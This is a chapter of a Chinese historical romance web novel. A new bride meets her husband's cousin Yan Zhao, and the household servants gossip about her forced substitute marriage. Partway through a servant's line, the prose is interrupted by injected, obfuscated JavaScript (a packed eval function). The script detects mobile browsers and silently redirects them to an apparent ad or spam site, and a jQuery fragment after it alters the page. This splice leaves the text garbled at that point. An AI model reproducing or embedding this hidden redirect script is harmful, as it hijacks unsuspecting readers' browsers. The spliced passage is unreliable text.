3. 燕诏
作品:《此间春色》 “萧吟。”
陆夫人缓步至门外,终于忍不下去,出声叫住了她。
“伯母…”
眼看心仪男子的生母发了话,她自然泄了气,不再如方才厅上一般趾高气扬。
陆夫人未给她正眼,只是对着而后出门的江诗宁开口:
“诗宁是明夷明媒正娶的妻子,这婚事是官府文书过了名录的,从今日起她便是你的表嫂,有何前尘往事都不许再提。都是一家子人,别相互指摘,闹出什么笑话,让同僚有机可乘,上奏弹劾你表兄治家不严。”
“况且,即便你表嫂与叶家公子青梅竹马又如何?不过是父辈的交情,怎么就成了艳闻轶事?我记得你在蜀地长大时,表叔也与太学博士贺家交好,你与贺家三位公子一同长大,难不成个个都与你有过旧缘?”
几句话下去,萧吟吓得出了些冷汗,再不敢作声。
她一向伶牙俐齿,并非无可辩驳,但这位陆夫人向来不喜自己,她若再闹,便是永无嫁进岐侯府的可能。况且,她与贺家二公子确实心意相通过,险些议婚,只是她心气高,不愿嫁给小小六品官的儿子,这才狠心斩断前尘,奔了上京来。
“伯母,我…”
陆夫人不愿听她再言,遂摆了摆手,萧吟知晓今日不该再多事,便行了礼,自行去了。
“我来迟了,今日怎如此热闹。”
江诗宁此时立在刚出正屋外的廊下,循声而望,她瞧见了一个白衫的男子。
燕氏嫡系人丁不盛,到老将军和先岐侯去世后,至今,岐侯府中除却南北西院外,便只剩那东院的主人,燕临的堂弟,燕诏。
他的生父,是先岐侯燕岂舟同父异母的弟弟燕岂山,燕岂山的生母则是老将军的爱妾。只不过老将军战死后不过几年,这位妾室便伤心病逝,随老将军一道去了。燕临兄弟二人从此都在萧老夫人和陆夫人膝下养大。
燕岂山少年虎胆,比起嫡兄的识文断字之能,他反倒是将父亲的本领继承了个十成十。既是少年有为,长大些,便在父亲手下带着做了副将,不过他身子不大好,又在战场上受了伤,父兄俱去后,不多几年他亦病重卧榻。偏天不可怜苦命人,妻子骤然离世,只留下二人的独子燕诏。
虽说燕诏是在老夫人处长大,奉其为祖母,十分恭敬,但到底是庶子之子,与堂兄燕临的身份可谓天壤之别。陆夫人心软,常常怜悯燕诏孤身一人,早年间也曾请求老夫人,是否能将燕诏记在自己名下,是为岐侯嫡次子,不会争燕临的侯爵之位,但老夫人从未答允,久了,便不了了之。
也难怪,虽说燕岂山和燕诏都是萧老夫人看着长大,但无论如何她也忘不掉,他们身上流着那女人的血,是她的后代。老将军戎马一生,战功赫赫,史册之上也只有赞扬,可唯一的痛便永远留在萧老夫人一个人的心中。
燕岂舟原本差点有个妹妹,那时萧老夫人尚年轻,她操持中馈十分辛劳,偏巧那一胎闹得很,是以足月后她腹痛难产,老将军却将赶来的太医遣去为爱妾瞧病,只留下一句“女子生产岂有不痛之理”,背手而去。
那一夜,她失去了成形足月的女儿,也失去了再做母亲的权利,这些年来,她对燕诏的疼惜,总隔着一层看不见的心病。
来人踏着缓步至前,作揖道:
“含光给叔母问安。”
言毕,燕诏转身朝向江诗宁,直视她的双眼,十分自然地开口:
“问新嫂安。”
江诗宁缓缓抬眸看他,只见燕诏轻衣白袍,高束发髻,面上一副万物不以为意的逍遥姿态,和堂兄燕临真是毫不相同的两样。他瞧着如春风般轻盈,睫羽间不落尘埃,眼底带着分不易察觉的纨绔味,才真像是不存心事的世家公子。
“小叔有礼了。”
她含着下巴点点头,轻声回应,并未和燕诏多言语。
陆夫人莞尔,吩咐南院仆妇照料好老夫人,而后便与江诗宁安慰几句,自顾自回了老夫人房中伺候汤药,江诗宁则是拦住欲入厅上的小叔,简单同燕诏阐明了方才堂上发生的始末。今日之事虽有些不顺,但到底是将岐侯府中重要之人见了个遍,各人的习性她也算大致有了个底,心中的石头总算落了些。
燕临出了正厅,不偏不倚同燕诏对视后,只是略点了点头,并未和表弟多言。江诗宁原以为,燕临会为了方才之事训斥她,不该顶撞气病了祖母,可他似乎未有此意。
“我要出府,你自行回屋去。”
说罢,燕临便接过一旁副将薛延递来的入鞘长剑,大步流星地离开了,不过十步之内,便消失在回廊的转角处,再不见影。
“嫂嫂。”
江诗宁回过神,转身对上那一双长而亮的桃花眼。
燕临兄弟皆是文武双全的人中龙凤,二人生得高大,可燕诏便更引得外人喜爱,由此他广交友人,消息灵通。反观燕临,最不喜聚会,也不与任何同僚打交道,他过于严明,也过于无趣,是以人们敬他,也因未知而怕他。
“小叔还有何事?”
她问。
燕诏负手,朝着她走近了些,终于自光影下看清了江诗宁的脸。
一番花容经秋日萧瑟而困住,原本天姿国色的面容之上,因着天气转凉,多了几分惆怅之味,她身量娇小,站在廊下,深重的宅邸将她囚在其间,惹人怜惜。
他愣了愣神,面上却毫无异样。
稍整了整心神,燕诏便颔首,眼神示意着兄长离开的方向,安慰道:
“兄长军务繁忙,每日都要亲去军政处处理事宜,这回走的还比从前晚了一刻,他自然心烦,嫂嫂不必介怀。”
“兄长平日最礼重祖母,今日嫂嫂既说是驳了表妹的话,惹得祖母不快,他竟未指责于你,想来是爱重嫂嫂的。”
江诗宁始终和他保持着几步的距离,听了这话,也并不避讳地答道:
“小叔说笑了,君侯哪里是爱重我,只怕是我于他而言实在太过轻微,以致连斥责都是耽误了他的时间罢。”
燕诏未曾想过,面前这看着柔弱的女子,却不似寻常妇人般羞怯做作,当着小叔子的面,也能毫不忌讳地坦言同夫君并不同心。
见他不语,江诗宁释然地露出一抹笑:
“若无事,我便回了,小叔自便。”
她与燕诏擦肩,向着最深处的北屋走去,衣袖掠过他的手背,暗暗生香。
两三步后,江诗宁脚步顿住,她似乎是犹豫着,最终半遮半掩地回了半边身子,开口道:
“看小叔面相,似乎怒后不振、心郁气滞,气血运行不畅。小叔心中藏着事,这不是好相,恐有违康健,若是小叔能听我一言,放下心中事,放过自己,或许一切还能回转。”
江诗宁留下这一段似是医者话术,又似是算命之谈的警示,便离开了。
燕诏转身,沉沉看着江诗宁远去的背影,眼眸中的澄澈清明顷刻不见,转而露出底色,那是绝不输给燕临的深邃沉稳,其间,还带着过半阴郁。
她居然知道,她是如何知道的?
这女人会医术,能看出他心中阴郁,着实不凡。
有违康健吗...可路至此处,早就无法回转了。
如此绝色娶进后宅,燕临竟毫不在意。
真是可惜。
回到北院后,江诗宁这才终于得了空,将自己带来的行李木箱敞开来收拾一番。
自母亲去世后,她的嫁妆一一被父亲变卖了去,有几件好的首饰,也都被齐氏据为己有。江诗宁也曾闹过,但大都无济于事,在完全的偏心面前,谁有道理根本不重要。这是她很小就明白的道理,此后在岐侯府中,也会以此警示自己,言多必失,在还未站稳脚跟前,能忍则忍。
只是一想到,齐氏一个歌舞乐伎出身,竟能生生牵住了御史中丞的心。她本以为齐氏一生只能做一个受宠的妾罢了,谁曾想她竟这般好命,将府中当家主母熬走,自己摇身一变,仗着夫君疼爱,妾室扶正,就连一双儿女也自此有了嫡出的身份。
江诗宁拿出了自己带来的物什,为数不多的衣物摊开在地上,几本医书摞在箱子里,一些杂碎金银堆在盒中,此外便无其他。
环顾周围,屋内的陈设布置沉闷而简单,看得出从前燕临独自居住之时,总是很简单地用些衣物。燕诏说他军务繁忙,想来便是能日日回到家中休息已是不易。
她又重新将自己的物品放进了木箱中,吩咐了下人将箱子抬到屋中东北角的衣柜下安置即可。仆妇虽并不多重视这位不受待见的主母,到底也是主人家,一应照料也是挑不出错来的,只是若江诗宁还想探听些什么,怕是不能了。
“辛苦两位妈妈了,院里没什么事,妈妈们下去喝茶吧。”
两个仆妇面面相觑,其中一个恭敬接过江诗宁手里递来的散碎银子,道谢着便退了出去,待门合上,二人走远到院里,这才忍不住小声议论着:
“这江氏女,好似和表小姐说得不大一样啊?”
那仆妇狐疑,眼睛还不住地向身后不远处,北院主屋的房门看去,看着倒是个当差惯了的,明白在大宅院中为仆的道理。
“表小姐不是说,江氏女是耍了一番心思,换嫁到府中给君侯做妻的吗?”
另一人摇摇头,似乎在猜测:
“我看啊,未必。”
“怎么说?”
她压低了音量,凑得近了些:
“若真是如此,为何江家次女和叶丞相家公子的婚事告吹了?我看啊,今日厅上表小姐所说,江氏女与叶公子青梅竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154621|164912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马之事应是不假,可看她那样子,不像是心虚的,昨日嫁进来到现在,也不哭闹,也不摆架子,依我看啊,江氏女倒比表小姐要更适合做主母得多。”
“可不是。”
那为首的仆妇道:
“表小姐不过是君侯的远亲,她父亲区区六品官,见到君侯风光,便也想来分杯羹。这没进门就仗着老夫人的疼爱,没少在我们这些下人面前摆谱,若当时真是表小姐嫁给君侯,可有我们受得。”
围上来的几人都点点头,表示赞同。
“江氏女看着不是个难伺候的,只要她不胡乱为难人,我们这些做下人的,还是要尽心服侍好,别疏漏短缺了什么。”
另一人出声:
“该改口了,什么江氏女,也是你能叫的?”
“对对,是君侯夫人。”
早前在老夫人院里算是和萧吟结了仇,她自然是记恨着的,这不是,她又以侍奉长辈为名暂住在南院不走了,不知晓成日里都同萧老夫人说了些什么酸话。
回想起未过门之时,江诗宁本在年初便与叶丞相家的公子定了亲事,却因燕临打了胜仗归来,高封厚赏,父亲畏惧满门不保,想出联姻求和的路数来。这本是一招险棋,父亲自己都不曾认为燕临能正眼瞧一次那信,可燕临竟破天荒地点头答应了。
江府家中唯有二女,齐氏和父亲断然不会舍得让江晗宁嫁进这龙潭虎穴受欺负,自然,哪怕是想出换嫁这样有辱名声的方法来,也要保住妹妹。
是夜,上京城里下了场瓢泼大雨,墨色下深雾弥漫,不知何时雷声停了,雨势减小,水汽从未关严实的木窗外扑进屋内,凉意袭人。
江诗宁侧耳去听,知晓夏日在这场大雨里走到了尽头,眼下早已是秋天。
想起一月前,本是江晗宁要嫁进侯府的。齐氏那时瘫软了身子,险些跌坐在地,她心中焦急万分,断然不想自己的亲生女儿嫁给那传闻中阴晴不定的岐侯燕临,可若只是这个理由,怕也无法彻底动摇江鸿章的决定,让二女替嫁。
毕竟全族性命和女儿幸福之间,她这位曾弃武从文,在夹缝中挣扎出一条生路的夫君,定是以大局为重的。
齐氏看准了江鸿章心软,阐述利弊,而后顺势开口,这才有了换嫁一事。
江诗宁一惯不是个任人欺凌的,却也不是硬着头皮顶撞长辈的路子,她知晓自己在江家没有立身之地,是以齐氏隔三差五暗暗磋磨她,在府中有些身份的仆妇白眼待她,她都装作不知,不与人起冲突。
这些年忍下来,只为有朝一日能脱离这样的家,哪怕知晓终有一日会被父亲当做筹码嫁出去,起码能赌未来的夫家不是个为难人的。
可如今,还是入了燕氏宅邸。
传闻燕临性情冷淡,城府极深,他年幼丧了祖父和父亲,早已对江氏恨之入骨,倘若落入他手,不定会如何磋磨侮辱她,那便是生不如死。
江府之中,江鸿章夫妻二人那时是亲唤了她去堂上,告知她换嫁一事的。江诗宁心中震惊带着愤怒,她曾和生父对视,企图能从这个男人眼中看出一丝的懊悔和歉疚,可是没有。
她的眼底酝酿着一场暴雨,可她没有让这场雨降临。在这个家里,在这座宅院里,早在母亲亡故之日,她就已经没人疼惜了,不过是在今日终于要榨干她最后一丝价值罢了。预料之中的事,她便没什么好多再留恋的了。
“好。”
“我嫁。”
那时,她孤零零地立在堂上正中央,屋外忽地劈出一声惊雷,紧接着,雷声滚滚、暴雨倾盆如注,一次次乍现了惨白的光景,照如白昼,映出江诗宁淡然的神情。
她独自一人和她的生父与继母对立着,终于发现,这些年她的父亲早已和自己渐行渐远,如今和自己对望着的,这个心虚的男人,早已亲手切断了和她的血缘。
在这个家里,江诗宁本就是寸步难行。当初能和叶家公子定亲,本以为是苍天垂怜,如今看来,也不过是痴心一场。父亲和齐氏的决定岂是江诗宁哭闹就能动摇的。江鸿章青年丧父,经历了江家和燕家的事,科举做文官,不知吃了多少苦才保住江氏一族,江诗宁知晓,在父亲眼里,满门的性命比什么都重要。
更何况...
发妻病逝不久,他便急急将齐氏扶正,将她的一双儿女疼得如护心肉一般。这样的父亲,即使是搬出夫妻情分、父女恩义,也是无用。既知道求告无门,倒不如闭口不言,起码能保住一丝尊严,不叫人看低了去。
“若这是上天给我的考验,我定有办法化险为夷,若这就是我的命,我便认了。”
那一日,她亲手斩断了和父亲间的连接,两手空空地入了岐侯府,等待新的命运降临,殊不知万物自是有数,上天早已安排了她的后缘。